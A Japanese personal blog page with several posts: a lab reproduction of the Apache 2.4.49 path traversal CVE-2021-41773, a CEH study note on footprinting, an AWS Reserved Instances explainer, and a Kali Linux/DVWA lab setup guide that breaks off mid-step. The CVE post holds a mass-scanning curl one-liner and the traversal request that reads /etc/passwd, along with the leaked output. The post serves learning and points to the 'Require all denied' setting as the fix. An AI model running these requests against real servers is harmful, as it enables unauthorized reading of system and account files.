2021-10-06

Apache2.4.49サーバにパストラバーサルの脆弱性攻撃やってみた

Apache HTTP Server 2.4.49にパストラバーサルの脆弱性が発見されましたね。

🔥 We have reproduced the fresh CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49.

If files outside of the document root are not protected by "require all denied" these requests can succeed.

Patch ASAP! https://t.co/6JrbayDbqG pic.twitter.com/AnsaJszPTE
— PT SWARM (@ptswarm) 2021年10月5日

security.sios.com

ちょっと面白そうなんで、検証環境を建てて実際にどんな感じで情報をとれるのか確認してみた。

おこなうこととしては以下のようなことをやろうと思っています。(死ぬほど簡易) f:id:Chiko_gorilla:20211006163626p:plain

環境構築の説明は省きます。

では実際にパストラバーサルってどのようなコマンドで実行できるのか？

Twitterに有力情報が載っていた

CVE-2021-41773 POC 🔥👇

✅ One Liner :

cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
— Rohit Gautam 🤘🏴‍☠️ (@HackerGautam) 2021年10月5日

上記コマンド内容抜粋

cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done

これは、targets.txtの中にたくさんの攻撃先を記載して一気に情報をとる系のスクリプトみたいになっているように見えるので、今回の検証に必要な部分だけ抜粋。

curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

このコマンドの $host部分を攻撃先のURLに変えちゃえば情報は取れそう。

以下実行結果

[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>
[Gorill-user@GorillServer ~]$

あれ？passwdファイルの情報がぶっこ抜けないっすね…

最初上げた資料をよく見たらある情報が書いてありました。

Apache HTTP サーバー 2.4.49でのパス正規化の変更点に問題が見つかりました。攻撃者はパストラバーサル攻撃を用いてドキュメントroot外のファイルにアクセスすることが出来ます。ドキュメントroot外のファイルが"require all denied"で保護されていない場合にはこのアクセスが成功します。さらにこの問題によりCGI スクリプトのようなファイルのソースが漏洩する可能性があります。

どうやら、Apacheの設定ファイル httpd.conf 内の Require all denied が有効だと情報は抜かれないようです。
これ、デフォルトで有効な気がするんで変なことしてなかったらこの攻撃ははじけそうですね！

検証のため httpd.conf の設定を以下から

<Directory />
    AllowOverride none
    Require all denied
</Directory>

検証のため httpd.conf の設定を以下のように変更

<Directory />
    AllowOverride none
    #Require all denied　# コメントアウトした
</Directory>

再度コマンド実行

[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rngd:x:998:996:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ec2-instance-connect:x:997:995::/home/ec2-instance-connect:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:996:994::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
Gorilla-user:x:1000:1000:EC2 Default User:/home/Gorilla-user:/bin/bash
ssm-user:x:1001:1001::/home/ssm-user:/bin/bash
[Gorill-user@GorillServer ~]$

passwd情報抜き取れましたね！

より必要そうな情報だけ抜いてみる。

[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure -v "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "http://GorillaGorillaGorilla.maz \033[0;31mVulnerable\n" || echo "http://GorillaGorillaGorilla.maz \033[0;32mNot Vulnerable\n"
*   Trying 1.1.1.1:80...
* Connected to GorillaGorillaGorilla.maz (1.1.1.1) port 80 (#0)
> GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
> Host: GorillaGorillaGorilla.maz
> User-Agent: curl/7.76.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 06 Oct 2021 04:45:41 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Wed, 06 Oct 2021 03:12:30 GMT
< ETag: "54f-5cda68441729d"
< Accept-Ranges: bytes
< Content-Length: 1359
<
{ [1359 bytes data]
* Connection #0 to host GorillaGorillaGorilla.maz left intact
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
http://GorillaGorillaGorilla.maz \033[0;31mVulnerable\n
[Gorilla-user@GorillServer ~]$

こんな感じでいろいろ情報は取れそうです。

2020-12-23

【CEHのお勉強】フットプリンティングって何？ WEB編

ホワイトハッカーへの道セキュリティ

この記事はマイナビ Advent Calendar 2020 の23日目の記事です。

最近CEHの取得を目指しいろいろと勉強しています。
CEHの試験範囲にあるフットプリンティングについて個人的にまとめてみました。
今回は検索エンジンで調べられるものやWEBサイトからのフットプリンティングのお話しです。

www.eccouncil.org

フットプリンティングとは

特定のターゲットネットワークにサイバー攻撃を行う前の事前準備や攻撃対象を下調べする行為のこと。
コンピュータやWebページ内の脆弱性が無いかを調査したり、検索エンジンや公開データベース、SNSまたはツールを用いて攻撃に必要な情報を収集したりする。

フットプリンティングは以下の2種類存在するといわれています。

受動的フットプリンティング
- ターゲットに接触せずに情報収集すること。
能動的フットプリンティング
- ターゲットに直接接触して情報収取すること。ソーシャルエンジニアリングとかがそれ

フットプリンティングの目的と取得できる主な情報

サイバー攻撃をおこなうためのに必要な対象のセキュリティ体制の調査や攻撃対象の絞り込み、脆弱性の特定などをおこなうことを目的に様々な情報を取得していきます。

攻撃者は以下に記載した、組織、ネットワーク、システムの情報の取得を狙っております。

組織情報
- 従業員の情報
- 電話番号
- 会社の場所など
ネットワーク情報
- ドメイン情報
- システムで利用しているIPアドレス、ネットワークブロック
- DNS情報など
システム情報
- サーバのOS情報
- WEBサーバの場所
- ユーザやパスワード情報など

WEBブラウザを使ったフットプリンティングの方法

ここでは検索エンジンは基本Chromeメインで記載してます。

検索エンジンを利用したフットプリンティング

よく利用されているもの

Googleの検索演算子を利用する
Googleの高度な検索や画像検索

support.google.com

Google Hacking Database
- Dorkにある検索クエリを利用してVoIPフットプリンティングをおこなう
- Dorkにある検索クエリを利用してVPNフットプリンティングをおこなう

Google Hacking Databaseは様々な検索クエリが乗ってあるソースサイトです。
公開された、CVE準拠の脆弱なソフトウェアアーカイブも見れます。 www.exploit-db.com

WEBサービスの利用したフットプリンティング

攻撃者が様々なWEBサービスを利用して収集できる情報をまとめてみました。

トップレベルドメインとサブドメの情報収集
- whoisとか企業HPのURLから推測など
Google Mapsを利用して地理的場所の特定
SNSを利用して個人の情報収集
Linkedlnを利用して従業員情報収集
ファイナンスサービスから競合他社や株式市場の情報収集
求人情報から企業情報を収集
グループ、フォーラム、及びブログを使用した機密情報収集
コンテンツ監視サービスを利用したアラートによる個人の最新情報の収集
- Googleアラート機能やTwitterアラート機能など
OS情報の収集
- SHODANとかよく使われている(VoIP、VPNフットプリンティングができるから)

WEBサイトフットプリンティング

攻撃者はターゲットのWEBサイトを監視、分析することで情報を収集してきやがります。

攻撃者が脆弱なWEBサイトにアクセスしてまず狙う情報

ソフトウェアとそのバージョン
OS情報とスクリプトのプラットフォーム情報
サブディレクトリとパラメータ情報
クエリ情報やファイル名

ツールを利用して取得できるヘッダ情報
代表的なツールはZaproxy、Paros Proxyなどがある

ステータス情報とコンテンツタイプ
リクエストヘッダー情報
Webサーバとそのバージョン情報

HTMLソースからとれる情報

ファイルシステムの構造とスクリプトタイプ

Cookieからとれる情報

ソフトウェア情報とその挙動
スクリプトのプラットフォーム情報

WEBスパイダリングという、ターゲットのWEBサイトから特定の情報を自動的に取得できるツールがあります。
主なツールはWeb Data Extractorかなと思います。

Webサイトをミラーリングして情報を抜き取る荒業もあるようです。
これもまたツールがございます。HTTrack Web Site Copierとかですかね。

まとめ

今回はWEBフットプリンティングを中心にざっくりまとめました。
あくまで個人用のメモ書きみたいになってます。
次はNWやDNS情報の収集や実際に使われていそうなツール情報をまとめていきたいと思います。

簡単に紹介したツールを実際に試したいなどがあれば、ハッキングラボ環境を建てて試してみるのもいいかもしれません。過去にAWS環境内でKali Linuxのハッキングラボ環境の作成についてまとめた記事がありますので良ければこちらで試してみてはどうでしょうか？

chikoblog.hatenablog.jp

2020-12-16

【AWS】RI(リザーブドインスタンス)とは何かをまとめた記事

AWS

この記事はマイナビ Advent Calendar 2020 の16日目の記事です。

仕事でAWSの費用削減を検討した際、RI(リザーブドインスタンス)について調べたので、
そちらを個人的にまとめた記事となります。

RI とは

AWS の各種サービスに対して1年または3年という長期利用を予約することで、オンデマンドインスタンス料金に比べ利用料金が大幅に割引（最大 75%）される仕組みです。

1年よりも3年の方が割引率が高く設定されています。サービスやリソースによって多少の例外はありますが、基本的に「全前払い」「一部前払い」「前払いなし」という3種類の支払い方法が存在し、原則、購入後に支払い方法を変更することはできません。

簡単に言って、サーバ自体に変更がないものであれば、決まった期間の利用料だけ安くできる、電車の定期券のような仕組みです。

RI対象のAWS サービス

EC2
RDS(Auroraも含む)
Redshift
ElastiCache
DynamoDB
Elasticsearch Service

RI の利用にあたり

どのAWSサービスにおいても RI 購入後にインスタンスの再起動をする必要はないです。

RI は特定のインスタンスに紐づける仕組みではなく、所有する RI の適用対象となるオンデマンドインスタンスが稼働していれば AWS によって自動的に割引の適用が開始されます。

また、購入に際して見積書や発注書などのやり取りは必要なく、各サービスのマネジメントコンソールにて任意のタイミングで必要なものを自由に購入することが可能です。クラスメソッドに見積代行を依頼している場合は、通常の月額利用料にRIが適応された状態で見積が届きます。

原則、購入時に指定したインスタンスタイプより大きなものへの変更はできないという制限があります。ただし、t2.xlarge のインスタンスをより小さいt2.large 2台に分割することや、 t2.large 2台をスペックが大きいt2.xlarge のインスタンスとして結合することが制限はありますが可能です。

こちらの結合や分割できる範囲や詳細につきましてはインスタンスサイズの柔軟性に記載されております。

RI 購入時に必要な項目

コミット期間の指定
支払いオプションの指定
利用料のコミットメント
Region指定
インスタンスファミリー指定
インスタンスタイプ指定
テナンシー指定
OS(platform) 指定
AZ(Scope)指定

RI 利用に適したシーン

常に起動しているDBやキャッシュサーバ
常に起動しているWeb/Appサーバ(通常サービスの最低限必要数)
- ピーク時のスケールアウトはオンデマンド料金で対応することが可能
RI 購入期間内にインスタンスタイプに大きな変更が起きないもの(EC2はスケールアウトに対応可能)

EC2 RI の提供タイプ「Standard」と「Convertible」の違い

EC2 のみ RI にいくつか提供タイプがございますので、そちらについては下記に簡単にまとめておきます。

EC2 の RI では「Standard」と「Convertible」という2つの提供タイプがあります。

Standard RIの方が割引率が高く設定されています。上記しましたが、購入時に指定したインスタンスタイプより大きなものへの変更はできないという制限があるためです。ただし、t2.xlarge のインスタンスをt2.large 2台に分割することや、t2.large 2台をt2.xlarge へ結合することは可能です。詳細につきましてはインスタンスサイズの柔軟性に記載されております。

一方、Convertible RIは購入後もインスタンスのスペックアップが可能となっており柔軟性が高いかわりに割引率がStandard RIと比較して少し低く設定されています。ただし、インスタンスのスペックアップをおこなう際はRI の交換が必要で交換したRI 分の差額費用を支払う必要があります。一度、スペックアップをおこなった場合はスペックは落とせなくなりますので注意が必要です。

EC2 RI 提供タイプ比較表

	Convertible	Standard
期間	1年間 or 3年間	1年間 or 3年間
支払いオプション	全額前払い or 一部前払い or 前払い無し	全額前払い or 一部前払い or 前払い無し
全リージョンに自動適用	可能	最初に指定したリージョンのみ割引が適応される
全インスタンスファミリーに自動適用	可能	最初に指定したインスタンスファミリーのみ割引が適応される
全インスタンスタイプに適用	原則、Standard タイプと同じだが、差額費用の支払いをすることで「異なるインスタンスタイプとの交換」が可能	最初に指定したインスタンスタイプのみ割引が適応されるただし、「インスタンスサイズの柔軟性」を保持している
全テナンシーに適用	最初に指定したテナンシーのみ割引が適応される	最初に指定したテナンシーのみ割引が適応される
全OS(platform)に適用	最初に指定したOS(platform)にのみ割引が適応される	最初に指定したOS(platform)にのみ割引が適応される
キャパシティ予約の機能提供	可能ただし「Availability Zone 指定」が必要	可能ただし「Availability Zone 指定」が必要
AWS アカウント間の共有無効化	可能可能(SPとRIで共通の設定項目)	可能可能(SPとRIで共通の設定項目)
購入後の交換機能の提供	可能「Tenancy, OS, Family, Type等」で可	不可能

RI 利用時の注意点

RI 購入時インスタンスファミリー内の小さいインスタンスタイプから順に適応される

以下公式ドキュメントによると https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/apply_ri.html

インスタンスサイズの柔軟性は、インスタンスサイズの正規化係数によって決定されます。割引は、予約したインスタンスサイズによって、同じインスタンスタイプの実行しているインスタンスに完全、または部分的に適用されます。この場合、一致する必要がある属性はインスタンスタイプ、テナンシー、プラットフォームのみです。
インスタンスサイズの柔軟性は、インスタンスファミリー内の最も小さいインスタンスサイズから大きいインスタンスサイズへ、正規化係数に基づいて適用されます。

インスタンスファミリーが同じであれば最も小さいインスタンスサイズから大きいインスタンスサイズへ適用されるようです。

なので、t2.xlarge のRI を購入しているアカウントで、t2.xlarge のEC2 1台とt2.large のEC2 1台がある場合、小さいインスタンスタイプから割引が適応されますのでt2.large のEC2 1台のみに割引が適応され RI を適用する想定だったt2.xlarge インスタンスの月額料金の半分しか減額されていというような現象が起こる可能性があります。

こちらは特定のAZ を指定して購入したRI 、ベアメタル、占有テナントのRI 、 Windows 系インスタンス、RHEL 、および SLES のRI には適用されないようです。

RI 購入・再購入について

長期利用を前提として料金の割引が提供されるため、購入後のキャンセルはできません。購入対象の選定や、購入時の操作は慎重に行う必要があります。

また、購入から1年または3年が経過し、有効期限が切れる（切れた）RI については、 RI は通常では「自動更新」という機能以前に「更新」という考え方がないため、継続して RI を利用したい場合は「再度購入する」必要があります。

RIの購入手続きを実施には、数分から数時間の購入処理による待機時間が発生しますが即日適用されますので、例えば、昨年4月1日に購入したRI と同じ内容をさらに一年継続したい場合には、 3月末日に購入するか4月1日に購入するのが最もコスト効率の良い方法となります。

別の方法として、既存のRI が期限切れになる頃の購入予約をキューに入れることができます。これにより、サービスを切れ目なくRI を利用することもできます。

RI の購入予約をキューに入れる場合、リージョンは指定できますが、ゾーンを指定したRI の購入予約や、他の販売者からのRI の購入予約を行うことはできません。

購入予約は3年先までキューに入れることができます。予約した日時に、デフォルトの支払い方法を使用して購入が実行されます。支払いが正常に行われると、割引が適用されます。

補足：再度購入のタイミングとシステムの改修、更新時期を揃えると、最新のインスタンスファミリーへの移行やスペック変更によって発生するオンデマンド料金をより削減しやすくなるかと思います。

同じ組織の別アカウントに自動的に適用されてしまう

RI はデフォルトで、組織のすべてのアカウントにRI の共有がオンになります。 AWSの利用が増えていくと組織単位でいくつかのアカウントを所持して運用していくこともあるかと思います。この設定がオンの状態だと適応予定だったインスタンスではなく、別アカウントで運用しているインスタンスに割引が適応されしまう恐れがあります。

この設定は、アカウントのリザーブドインスタンスの共有をオフにすることが可能ですので、アカウント間で共有予定がない場合はオフにするようにしてください。

RI とインスタンスID の紐付きについて

インスタンスを作成すると固有のID が付きますが、RIはインスタンスのユニークID 単位での課金ではありません。

RIの概念は購入したインスタンスサイズの利用権です。「t2.large の利用権」を購入すると、アカウント内にt2.large インスタンスが存在すれば自動的に割引されます。インスタンスの作り直しを行ってID が変わっても割引条件に合致していれば適用されます。

t2.large のRI インスタンスを4台購入した場合は、t2.large のインスタンス4台分の利用料に割引が適応されます。 4台分割引が適応されている状態で、別のt2.large のインスタンスを新しく作成した場合は新しく作成されたインスタンスはオンデマンドの利用料となります。

インスタンスの稼働・停止時の料金について

RI は、一定期間分の料金を定額で支払う仕組みです。従ってインスタンスを削除する等で存在しない場合でも、その期間の払戻しは一切されませんので注意が必要です。

購入したRI のスペックを変更したらどうなるのか

購入したRI と異なるタイプやサイズに変更すると割引適用されなくなり、変更後のインスタンスにはオンデマンド料金が課金されるようになります。原則としてサイズ変更後のインスタンスにあったRIを新規に購入する必要がありますのでご注意下さい。

有効期限の違うRI は結合はできません

t2.large 2台をスペックが大きいt2.xlarge のインスタンスに結合が可能と記載しましたが、有効期限が同じt2.large 2台であればt2.xlarge へ結合は可能ですが、有効期限が違う別のRI で購入した同じインスタンスタイプのt2.large 2台を結合することは不可能です。

購入時の注意点

購入したRI と実際に立ち上げたインスタンスが異なると割引が適用されません。 RI の買い間違えをすると、適用にならなかったインスタンスはオンデマンドの料金が課金されてしまいます。t2.large のRI を購入したのに、間違えて実際はt3.large を作成し起動していたりすると t3.large は通常のオンデマンド料金が請求されて来ます。

2020-12-07

AWS環境にKali Linuxを建てて遊ぶ方法

AWS セキュリティ Kali Linux

この記事はマイナビ Advent Calendar 2020 の7日目の記事です。

Kali LinuxをAWS環境で建てて、脆弱性診断やセキュリティの勉強をしたい人向けに僕が実際に建てたハッキングラボ環境を簡単に紹介しようと思います。

準備するもの

Kali LinuxとテストAttackできる脆弱なサーバを置いてもいいAWSアカウント
この環境用のVPCを作成
- 脆弱なサーバ用のセキュアなサブネット(KaliからHTTP/HTTPSができればOK)
- Kali Linux用のパブリックサブネット
少量のお金(推奨構成にする場合無料枠の利用ではなくなるので)

VPCの作成

そんなに難しいことではないので今回は詳しい説明は省いちゃいます。 VPCの作成やその他NW設定系が初めての方は以下を参考に作るといいかと思います。 dev.classmethod.jp

ザックリ以下のようなことができればいいのかなと思います。 f:id:Chiko_gorilla:20201204223122p:plain

Kali Linux EC2の作成

今回はAWS Marketplaceにある以下のAMIを利用してEC2を構築していきます。
(スクショを取ったタイミングが更新前のものなので今はAMIの画像が違います。) aws.amazon.com

まずは、AWSコンソール開きEC2の画面で[インスタンスの作成]を選択します。 f:id:Chiko_gorilla:20200902195503p:plain

インスタンスの作成画面に移ったら[AWS Marketplace]を選択します。 f:id:Chiko_gorilla:20200902195717p:plain

選択するとこのような画面に移ると思います。 f:id:Chiko_gorilla:20200902195807p:plain

[Kali Linux]で検索をおこなうと対象のAMIが出てきますのでこれを利用していきます。 f:id:Chiko_gorilla:20200902200037p:plain

AMIを選択するとだいたいこれぐらいのお金がかかりますよ～といったアナウンス画面が出てきます。
Kali Linuxは基本EC2の利用料金しかかかりませんのであまり気にしなくても問題ないかと思いますが念のため確認しておくといいでしょう。 f:id:Chiko_gorilla:20200902200053p:plain

あとはいつも通りのEC2作成方法になるかと思いますので、今回は省略しちゃいます。ベンダー推奨スペックはt2.mediumとなっていますので検証とかに別にお金使ってもいいや～と思う方は推奨スペックで構築することをお勧めします。

推奨より低いスペックだとどのようになるかは調べてません。。。

EC2を作ったことがない方は以下を参考作成してください。
※注意点ですが、利用するAMIは上記しているAWS MarketplaceにあるAMIを利用してください。 dev.classmethod.jp

EC2を作成したら任意の方法でサーバにログインし、いろいろ見てみます。まずは、以下のコマンドで現在利用可能なツールを確認します。
※EC2ですがこれはkali Linuxです。ec2-userではログインできません。初期ログイン時はユーザ名 kali:パスワードkali でログインしてくださいね。

(ちなみに以下の手順は基本デフォルトシェルをいじっております…実際の画面とちょっと差異があるかもです。)

kali@kali:~$ sudo -s
root@kali:/home/kali# 
root@kali:/home/kali# dpkg -l

これで見てみるとわかるのですが、
このAMIで建てたKaliは何のツールも初期では入っていないようです。

なので、必要なツールがあれば都度インストールしていく必要があります。
Kali Linux自体はAMIから立ち上げてツールをインストールしたらすぐに使えます。

Kali Linuxで利用できるツールは以下にまとまっていますので、ここを見て必要なツールを確認するといいかもしれません。簡単なツールの実行手順とかも載っていますのでこれを見ていろいろなツールを使ってみてください。 tools.kali.org

簡単な脆弱性試験ならNiktoがおすすめです。
今回はNiktoのインストールと実行までやってみようと思います。 tools.kali.org

Niktoのインストール

root@kali:/home/kali# apt-get install nikto

ここまで来たら次は攻撃用のサーバを作成していきます。

テスト用Attackサーバの作成

EC2サーバを1つ用意します。
このEC2は初期設定をおこなうため、Kali Linux用のパブリックサブネットに一時的にEC2を建てます。

攻撃用に脆弱性のあるサーバを建てるのに最適な練習用WEBアプリDVWAを利用しようと思います。 www.dvwa.co.uk

DVWAはPHP、MySQLで構築された脆弱性のあるWebアプリケーションで、SQLインジェクションやXSSのテスト用に利用することができます。

環境構築のため、EC2にログインします。

ログインしたらまず、DVWAに必要なソフトウェアをインストールします。

$ sudo yum update
$ sudo yum install mariadb-server php php-mysqli php-gd git httpd

DVWAをインストールします。

$ git clone https://github.com/ethicalhack3r/DVWA.git

ファイルの確認

$ ls -ls
total 4
4 drwxrwxr-x 9 user user 4096 Aug 27 06:48 DVWA

DVWAファイル群をWEB領域に移動します。

$ sudo mv DVWA /var/www/html

$ ls /var/www/html |grep DVWA
DVWA

DVWAのコンフィグの有効化をおこないます。

$ ll /var/www/html/DVWA/config/
total 4
-rw-rw-r-- 1 user user 1799 Dec  4 10:09 config.inc.php.dist

$ sudo mv /var/www/html/DVWA/config/config.inc.php.dist /var/www/html/DVWA/config/config.inc.php

$ ll /var/www/html/DVWA/config/
total 4
-rw-rw-r-- 1 user user 1799 Dec  4 10:09 config.inc.php

httpd.confのドキュメントルートの変更をおこないます。

$ sudo vim /etc/httpd/conf/httpd.conf
変更前
~~~~~~~~~~~~~~~~~~~~~~~
DocumentRoot "/var/www/html"
~~~~~~~~~~~~~~~~~~~~~~~

変更後
~~~~~~~~~~~~~~~~~~~~~~~
DocumentRoot "/var/www/html/DVWA"
~~~~~~~~~~~~~~~~~~~~~~~

ApacheとMySQLを起動します。

$ sudo systemctl start httpd

$ sudo systemctl start mariadb

後に隔離領域に移動しますのでApacheとMySQLの自動起動設定も入れておきます。

$ sudo systemctl enable httpd.service

$ sudo systemctl enable mariadb

接続確認のためDVWAにブラウザアクセスをおこないます。
EC2のパブリックDNS名でログイン可能です。(Kali Linux用のパブリックサブネットにEC2を建てていたら)

f:id:Chiko_gorilla:20201204203058p:plain

MySQLからアカウント登録をおこなっていきます。
ここで設定したMySQLのアカウントですがDVWAの初期アカウントになっております。変更したい場合はGRANT文を以下に用意しておいたのでそれに従って設定の変更してください。少しでもセキュアにしたい場合は変更をお勧めします。

$ mysql -u root -p
Enter password: パスワードを入力 ↑の流れできていればEnterで入れちゃいます
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2
Server version: 5.5.68-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> GRANT ALL PRIVILEGES ON *.* TO 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
Query OK, 0 rows affected (0.00 sec)

MariaDB [mysql]> exit
Bye

セキュアにしたい人用のGRANT文です。

MariaDB [mysql]> GRANT ALL PRIVILEGES ON *.* TO '任意のユーザ名'@'localhost' IDENTIFIED BY '任意のパスワード';

また、GRANT文を初期から変更した方は以下のDVWAのconfig.inc.phpファイルもあわせて変更する必要があります。

$ sudo vim /var/www/html/DVWA/
変更前
~~~~~~~~~~~~~~~~~~~~~~~
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_port'] = '3306';
~~~~~~~~~~~~~~~~~~~~~~~

変更後
~~~~~~~~~~~~~~~~~~~~~~~
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = '変更したユーザ名';
$_DVWA[ 'db_password' ] = '変更したパスワード';
$_DVWA[ 'db_port'] = '3306';
~~~~~~~~~~~~~~~~~~~~~~~

DVWAにブラウザアクセスをおこない、下の方にあるCreate/Reset DatabaseをクリックしてDVWAのデータベースを作成します。

問題なければ以下の画面が出てくるかと思います。 f:id:Chiko_gorilla:20201204210656p:plain

DVWAにユーザ名admin:パスワードpasswordでログインをおこないます。
無事にログインができたらテスト用Attackサーバ(DVWA)の作成は完了です。

セキュアなサブネットに移動する

先ほど作成したテスト用Attackサーバ(DVWA)のEC2をAMI化します。
作成方法がわからない方は以下を見ながらやれば問題なく作成はできると思います。 docs.aws.amazon.com

作成したAMI利用し、Kali LinuxからのみHTTP/HTTPSできるセキュアなサブネットにEC2作成します。

EC2を作成できたらあとはこのEC2へNiktoを実行するだけです。

Kali LinuxからNiktoの実行

再度、Kali Linux EC2にログインをします。

ログインしたら以下のコマンドでNiktoを実行してみましょう。

kali@kali:~$ sudo -s
root@kali:/home/kali# nikto -o report.html -Format htm -host http://ec2のDNS名
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: EC2のIP
+ Target Hostname: EC2のDNS名
+ Target Port: 80
+ Start Time: 2020-12-04 12:37:38 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.46 () PHP/5.4.16
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: login.php
+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /config/: Directory indexing found.
+ /config/: Configuration information may be available remotely.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /docs/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 8828 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time: 2020-12-04 12:38:32 (GMT0) (54 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

*********************************************************************
Portions of the server's headers (Apache/2.4.46) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y

+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!
root@kali:/home/kali# ls |grep report.html
report.html

Niktoの実行が完了したら作成したreport.htmlを開きます。
(僕はSCPでローカルに持ってきたりしました。) f:id:Chiko_gorilla:20201204220847p:plain

ほとんど隠さないといけない情報になっちゃいましたがこんな風に脆弱性情報が出てきます。

ざっくりですが、これができれば他にもいろいろなKali Linuxのツールが試せますので、いろいろ試していただければと思います！

☆付録☆EC2に建てたKali LinuxにRDP接続する方法

GUIの設定をおこないます。

kali@kali:~$ sudo apt install nvidia-driver nvidia-cuda-toolkit -y

kaliのデスクトップ設定を入れます。

kali@kali:~$ sudo apt-get install kali-desktop-xfce xorg xrdp -y

上記の設定はインストールに結構時間がかかると思います。

xrdpをインストールします。

kali@kali:~$ sudp apt install xrdp

RDPもセキュアにおこないたいので以下のようにコンフィグを書き換えます。
SSHポートフォワーディングを利用してRDPおこなう想定の設定となります。

kali@kali:~$ sudo vim /etc/xrdp/xrdp.conf

変更前
